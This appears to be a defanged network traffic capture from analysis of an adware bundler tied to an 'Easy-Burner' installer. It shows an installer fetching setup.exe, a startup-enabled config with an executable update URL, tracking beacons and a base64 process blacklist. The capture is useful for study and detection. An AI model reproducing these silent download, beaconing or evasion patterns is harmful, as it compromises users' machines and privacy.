V....,....J.t@..:_#Z .8|h....\).3NWJ.. ...V.6.....a-.j.b.Gt....:..F...
.G.8O*k..?..<.|.6.<.I...mB ..|iT.;.........D..j;.>>.....Y.
......[4..|....]F...k0.W...,..my..\/R..`E.......Q...".U.t.....~.8...2.
..=.J..J#..)E...(.....M..........`.Q@....,..CoB..0.h...h.l.....n..<<< skipped >>>

GET /r/__utm.gif?utmwv=5.6.3&utms=2&utmn=1732685760&utmhn=VVV.easy-burner.com&utmcs=utf-8&utmsr=1716x901&utmvp=1189x539&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=-&utmdt=Easy-Burner&utmhid=209281727&utmr=-&utmp=/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&utmht=1424743400165&utmac=A-12585577-60&utmcc=__utma=106045591.350837813.1424743400.1424743400.1424743400.1;+__utmz=106045591.1424743400.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=1480552523&utmredir=1&utmmt=1&utmu=rACgAAAAAAAAAAAAAAAAAAAE~ HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.google-analytics.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Access-Control-Allow-Origin: *

Date: Tue, 24 Feb 2015 02:03:00 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, no-store, must-revalidate

Last-Modified: Sun, 17 May 1998 03:00:00 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Server: Golfe2

Content-Length: 35

Alternate-Protocol: 80:quic,p=0.08

GIF89a.............,...........D..;HTTP/1.1 200 OK..Access-Control-All
ow-Origin: *..Date: Tue, 24 Feb 2015 02:03:00 GMT..Pragma: no-cache..E
xpires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, no-sto
re, must-revalidate..Last-Modified: Sun, 17 May 1998 03:00:00 GMT..X-C
ontent-Type-Options: nosniff..Content-Type: image/gif..Server: Golfe2.
.Content-Length: 35..Alternate-Protocol: 80:quic,p=0.08..GIF89a.......
......,...........D..;..

GET /pagead/conversion.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.googleadservices.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Content-Type: text/javascript; charset=UTF-8

ETag: 4876301562966458403

Date: Mon, 23 Feb 2015 20:22:29 GMT

Expires: Tue, 24 Feb 2015 20:22:29 GMT

X-Content-Type-Options: nosniff

Content-Disposition: attachment; filename="f.txt"

Content-Encoding: gzip

Server: cafe

Content-Length: 4019

X-XSS-Protection: 1; mode=block

Age: 20429

Alternate-Protocol: 80:quic,p=0.08

Cache-Control: public, max-age=86400
...........Z.r.......PS.1b(..3..aU..8g.;'q&g..u.$D2.H.II.-..v....g.j.\
..h4.@_....W...q...5O:s..A.....U........n.s.....d.1.B.x....4...l.....D
d.$".......Br..m.<.STc..Y.s.Y.5K..3...0.T`.4.|."[email protected]...&..\.-.V
.[$.(.d.".2..#.... ...V..2...T/(..Iv.!=..".v......(a.>..R..../.m..7
..I%.U)T.<..0.......:.$.....h...*..Jq.;y.a...)....p..w.........H...
.8.....u8}dD>O/7..|..)....l.X.....|..tW.TM...40.X6.......{..Q.1H3..
d......5.....;.....Mp...Q........xX.i.'66u?p]....e".....G....f|..rc#..
 ..G.a..}.x&.[n,....z.D.l.....q(...LlF.Z.q|.y...P..UG..=uz=...1....l. 
.HG.....awM.k....l.xD7..j..............n.W...P....e..X.k.4.V.......pE.
...me..Jw;....`N....s......'..=.yV.. .....n....z.'.1W.6l...1|E..3.7...
.?.]F.{ ..my..F.....8...Zm....X."y...H.C.....N...D..=#D....4......?/!.
\.Wr....?..U..._%.X..2....g0.l..{..............H..Th..R..l]..8%.......
....s9..n.......F(^$E.r...I.c.z...3..Q..u..4H..cm.......vM.....a...M..
.6Y...3{......wa..d....k.....]...lC...vOa..9........77.....e.L.x...b..
W..a.t.R;...#....o.4...f..%.8..PD{..u......y.......m..L...=......Er...
s<.w..|/ah.).l9tA.........f..<:..3.H8...F..!X.......,.{P.".... .
.W..h&.T.1..n...'./r..<\.T..%.7......G.v..._....\;..TR.a.{%~-0..U..
.f....u..<.tM..q:v..X.R..o..........X.G..3A.....G.pp....$N......Z..
..^.(..TeG......./..P....}n.......<[email protected] ...Z.....U.)..k.
....g...E.& .....A....AA.'.....HG<.....M..wmt...T...[&.2.HK.*.....6
..k..........#.._;.Z....h6wn;.2.....7.fP.@.. .l-....JB".<$..d..Ol.b
.. I3...[..(X.E...U.c...h..'...H...`.E..A....t.2..m. ;U.C..<l..<<< skipped >>>

GET /pagead/conversion/990060061/?random=1424743400068&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=&timestamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.googleadservices.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 302 Found

P3P: policyref="hXXp://VVV.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC"

Date: Tue, 24 Feb 2015 02:03:00 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://googleads.g.doubleclick.net/pagead/viewthroughconversion/990060061/?random=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&value=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0

Content-Type: text/html; charset=UTF-8

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Server: cafe

Content-Length: 76

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.08
............(....I.O.T(...I.UJJL.N/./.K.M.../.*)J. .H,J. Q......R`....
h.?...HTTP/1.1 302 Found..P3P: policyref="hXXp://VVV.googleadservices.
com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC".
.Date: Tue, 24 Feb 2015 02:03:00 GMT..Pragma: no-cache..Expires: Fri, 
01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, must-revalidate..Lo
cation: hXXp://googleads.g.doubleclick.net/pagead/viewthroughconversio
n/990060061/?random=1142152897&cv=7&fst=1424743400068&num=1&fmt=2&valu
e=0&label=EsmoCKu0jgIQnbyM2AM&bg=FFFFFF&hl=it&guid=ON&u_h=901&u_w=1716
&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_n
mime=0&frm=0&url=http://VVV.easy-burner.com/en/software/install/?c
ampaign=14776&eme=×tamp=1424743235116948&tracker=22
00&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed%3
D8&suid=FD8vibN_U&download_country=en&ms=5&status=5&
ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424
743354&ps=0&p_status=1&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie
_present=false&convclickts=0..Content-Type: text/html; charset=UTF-8..
X-Content-Type-Options: nosniff..Content-Encoding: gzip..Server: cafe.
.Content-Length: 76..X-XSS-Protection: 1; mode=block..Alternate-Protoc
ol: 80:quic,p=0.08..............(....I.O.T(...I.UJJL.N/./.K.M.../.*)J.
 .H,J. Q......R`....h.?.....<<< skipped >>>

GET /pixel.gif HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: as.perfcreatives.com

DNT: 1

Connection: Keep-Alive

Cookie: eas_geo=c804:r15610:y25314:s5:z61000:i193.138.244.231; eas_uid=1-1424743379432100746


HTTP/1.1 200 OK

Date: Tue, 24 Feb 2015 02:03:00 GMT

Server: Apache/2.2.3 (Red Hat) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5

Last-Modified: Tue, 25 Jun 2013 12:59:28 GMT

ETag: "638110-2b-4dffa19696c00"

Accept-Ranges: bytes

Content-Length: 43

Connection: close

Content-Type: image/gif

GIF89a.............!.......,...........L..;..

GET /webplayer/appshat/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:05 GMT

Content-Type: application/json

Content-Length: 778

Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT

Connection: close

ETag: "52e6784e-30a"

Accept-Ranges: bytes

{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d1x8oi0nw94fx8.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:45:37 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-321631/321632

Age: 637

X-Cache: Hit from cloudfront

Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NYBLHb2_s8UweIasnRB6SPMIEVZu1u_MHYuips4AgNODeteBnZ6gSg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.<<< skipped >>>

GET /utility.gif?error=done_mem_0&report=mini_s&ver=820&action=na&ms_vr=3&clock=17472&rnd=11061 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Tue, 24 Feb 2015 02:02:22 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=120612-

User-Agent: Better Installer(Mozilla)

Host: d1x8oi0nw94fx8.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 201020

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:45:37 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 120612-321631/321632

Age: 637

X-Cache: Hit from cloudfront

Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HbVmih6NM6QL6ey8C1R_HWDUbY_1Y2RpHNjZLVVN4hokrryrNg2Itg==

....p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t....
........p...Q. .t.3.......t......r.....p...Q. .t.3.......t......S.....
p...Q. .t.3.......t....3.....0....P.;Q.tu.....Q. .t.3.......t.........
...p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q
. .t.3.......t....3...........I...@. ...8...3.......D...(....P.;Q.tu..
...Q. .t.3.......t......c.....p...Q. .t.3.......t......D.....p...Q. .t
.3.......t......%.....p...Q. .t.3.......t....3..........P.;Q.tu.....Q.
 .t.3.......t............p...Q. .t.3.......t............p...Q. .t.3...
....t............p...Q. .t.3.......t....3.....{....P.;Q.tu.....Q. .t.3
.......t......U.....p...Q. .t.3.......t......6.....p...Q. .t.3.......t
............p...Q. .t.3.......t....3..........P.;Q.tu.....Q. .t.3.....
..t............p...Q. .t.3.......t............p...Q. .t.3.......t.....
.......p...Q. .t.3.......t....3.....m....P.;Q.tu.....Q. .t.3.......t..
....G.....p...Q. .t.3.......t......(.....p...Q. .t.3.......t..........
..p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t......
......Q...p. .t.3.......t............Q...p. .t.3.......t............Q.
..p. .t.3.......t....3.....^....P.;Q.tu.....Q. .t.3.......t......8....
.p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q. 
.t.3.......t....3.........f.P.f;Q...f.....Q...p. .......3.......T.....
...........P.;Q.tv..Q...p. .t.3.......t......z.....p...Q. .t.3.......t
......[.....p...Q. .t.3.......t......<.....p...Q. .t.3...........3.
.u....v...W....0..AC..t.;].r.;].r.........I......I..G;.r.3._^[]...

<<< skipped >>>

GET /searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.1716&uid=535559167_198339_B48A115F&dp=0 HTTP/1.1

Host: VVV.theviilage.com

User-Agent: Mozilla/4.0

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:03:51 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

1..0..0..

GET /pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c97afbeb52f4eabf469c6ed8ad1c0&uniqid=9fd81c119909308d540861e600a43bd3&affiliate_id=easyburnerit&software_id=easyburnerit&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=d1ea4a8c4a1ea55c8ec02fe5822a8e52&tokyo_csrf2_timestamp=1424743227&slot_number=1&index_in_screen=1&index_in_session=1&0.6758163244468338 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/easyburnerit/easyburnerit/799c97afbeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:01:20 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 02:01:20 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /eas?cu=23126;cre=img HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: shop.offerbox.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 302 Found

Date: Tue, 24 Feb 2015 02:02:59 GMT

Server: Apache/2.2.3 (Red Hat) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5

Cache-Control: no-cache, must-revalidate

Expires: Thu, 18 May 2006 01:00:00 GMT

P3P: CP="NOI DSP COR PSAo PSDo BUS OUR"

Set-Cookie: eas_geo=c804:r15610:y25314:s5:z61000:i193.138.244.231; path=/; expires=Tue, 24-Feb-15 15:02:59 GMT;

Set-Cookie: eas_uid=1-1424743379338141106; path=/; expires=Mon, 16-Mar-20 01:00:00 GMT;

Location: hXXp://shop.offerbox.com/pixel.gif

Content-Length: 347

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>302 Found</title>.</head><body
>.<h1>Found</h1>.<p>The document has moved <a 
href="hXXp://shop.offerbox.com/pixel.gif">here</a>.</p>
.<hr>.<address>Apache/2.2.3 (Red Hat) DAV/2 mod_ssl/2.2.3 
OpenSSL/0.9.8e-fips-rhel5 Server at shop.offerbox.com Port 80</addr
ess>.</body></html>.HTTP/1.1 302 Found..Date: Tue, 24 F
eb 2015 02:02:59 GMT..Server: Apache/2.2.3 (Red Hat) DAV/2 mod_ssl/2.2
.3 OpenSSL/0.9.8e-fips-rhel5..Cache-Control: no-cache, must-revalidate
..Expires: Thu, 18 May 2006 01:00:00 GMT..P3P: CP="NOI DSP COR PSAo PS
Do BUS OUR"..Set-Cookie: eas_geo=c804:r15610:y25314:s5:z61000:i193.138
.244.231; path=/; expires=Tue, 24-Feb-15 15:02:59 GMT; ..Set-Cookie: e
as_uid=1-1424743379338141106; path=/; expires=Mon, 16-Mar-20 01:00:00 
GMT;..Location: hXXp://shop.offerbox.com/pixel.gif..Content-Length: 34
7..Connection: close..Content-Type: text/html; charset=iso-8859-1..<
;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><
head>.<title>302 Found</title>.</head><body>
;.<h1>Found</h1>.<p>The document has moved <a hre
f="hXXp://shop.offerbox.com/pixel.gif">here</a>.</p>.&l
t;hr>.<address>Apache/2.2.3 (Red Hat) DAV/2 mod_ssl/2.2.3 Ope
nSSL/0.9.8e-fips-rhel5 Server at shop.offerbox.com Port 80</address
>.</body></html>...<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8a7f8cc0-b6a0-4d37-a17c-90a0a499110d&Password=5af2Sl0a&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,78116d2d-d3b5-4062-b3b8-b2539525da70,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1424743307&SBPIDS=0 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=gxtoh545lq1iy0553biv0cfk


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 02:01:27 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...

GET /css/default.css HTTP/1.1

Accept: text/css

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.easy-burner.com

DNT: 1

Connection: Keep-Alive

Cookie: install_cookie=14776,,; trck=eme=&campaign=14776&tracker=2200&par1=&par2=&par3=&par4=&par5=&googleopt=&subid=&tduid=; softinst=1424743354


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:58 GMT

Content-Type: text/css

Content-Length: 12076

Last-Modified: Tue, 11 Dec 2012 18:27:50 GMT

Connection: keep-alive

Accept-Ranges: bytes
/* --------------------------------------------------[ Base  ]-- */...
@import url(contact.css);..    ..    ...html,body {....height: 100%;..
.}...body {....font-size:62.5%;..    }..    ..    #container {....back
ground:url(../images/background.png) no-repeat;....position:relative;.
...width:1100px;..        height:100%;..        margin:0 auto;...}..  
  ...../* --------------------------------------------------[ Header ]
-- */......#orange-top-bar {....background:url(../images/orange-bar.pn
g) repeat-x;....height:3em;...}..    ..    .addthis_toolbox, .addthis_
button_compact {..        color:#FFF;..        font:1.1em Arial, sans-
serif;..        float:right;..        height:25px;..        padding-to
p:5px;..    }..    ...#header {....height:150px;...}..    ..    #heade
r a.slogan {..        text-decoration:none;..    }..    ..    #header 
h1 {..        float:left;..        position:relative;..        width:5
50px;..    }..    ..    #header h1 span {..        color:#666;..      
  display:block;..        font:italic bold 1.4em Arial, sans-serif;.. 
       margin-left:190px;..        position:absolute;..        right:5
5px;..        text-decoration:none;..        text-transform:uppercase;
..        top:110px;..        width:300px;..    }..    ..    #header i
mg.logo {..        margin: 16px 0 0 90px;..    }..    ..    .seo-title
 span {..        color:#DA6E08;..    }..    ..    ..   .. /* ---------
-----------------------------------------[ Install Section ]-- */..   
 ..    ..    #banner {..        background: #FFF url(../images/con<<< skipped >>>

GET /css/contact.css HTTP/1.1

Accept: text/css

Referer: hXXp://VVV.easy-burner.com/en/software/install/?campaign=14776&eme=×tamp=1424743235116948&tracker=2200&tk=f868fdc86af649be79e91ca000a90b10&mso=5&mss=3&sed=8&suid=FD8vibN_U&download_country=en&ms=5&status=5&ms2=0&status2=0&ms3=0&status3=0&sms=0&itime=1424743354&ps=0&p_status=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.easy-burner.com

DNT: 1

Connection: Keep-Alive

Cookie: install_cookie=14776,,; trck=eme=&campaign=14776&tracker=2200&par1=&par2=&par3=&par4=&par5=&googleopt=&subid=&tduid=; softinst=1424743354


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 02:02:59 GMT

Content-Type: text/css

Content-Length: 3224

Last-Modified: Tue, 30 Nov 2010 10:29:34 GMT

Connection: keep-alive

Accept-Ranges: bytes
../* --------------------------------------------------[ Contact Secti
on ]-- */..    #content {..        background: #FFF url(../images/cont
ent-top-shadow.png) repeat-x 0 0;..        margin-top:-3px;..        h
eight:600px;..    }    ..    #form-wrapper {..        position:relativ
e;..        margin: 0 auto;..        width:940px;..    }..    #content
 h2, #form-wrapper h2 {..        color:#666;..        font:italic bold
 2.7em "Myriad Pro", Arial, sans-serif;..        padding-top:20px;..  
      margin-bottom:20px;..    }..    #form-wrapper p {..        color
:#666;..        font:1.4em Verdana, Arial, sans-serif;..        margin
-bottom:10px;..    }..    ..    #form-wrapper p.note {..        color:
#C30;..        font-size:1.2em;..    }..    ..    #form-wrapper p.down
load {..        color:#03F;..        font: bold 1.4em Arial, sans-seri
f;..        margin:50px 70px 0 0;..    }..    ..    .submitted {..    
    padding-left:90px;..    }..    ..    .submitted p {..        font:
 1.6em Arial, sans-serif;..    }..    ..    .user-input img {..       
 float:right;..        margin:-35px 65px 0 0;..    }..    ..    .error
 { ..        color: #C30;..        display:block;..        font: 1.1em
 Arial, sans-serif;..        padding-top:50px;..    }..    ..    .form
_send, .download {..        float:right;..    }..    ..    .form_send 
{..        background: #FFF url(../images/contact-btn.png) no-repeat 0
 5px;..        border:none;..        color:#FFF;..        font:italic 
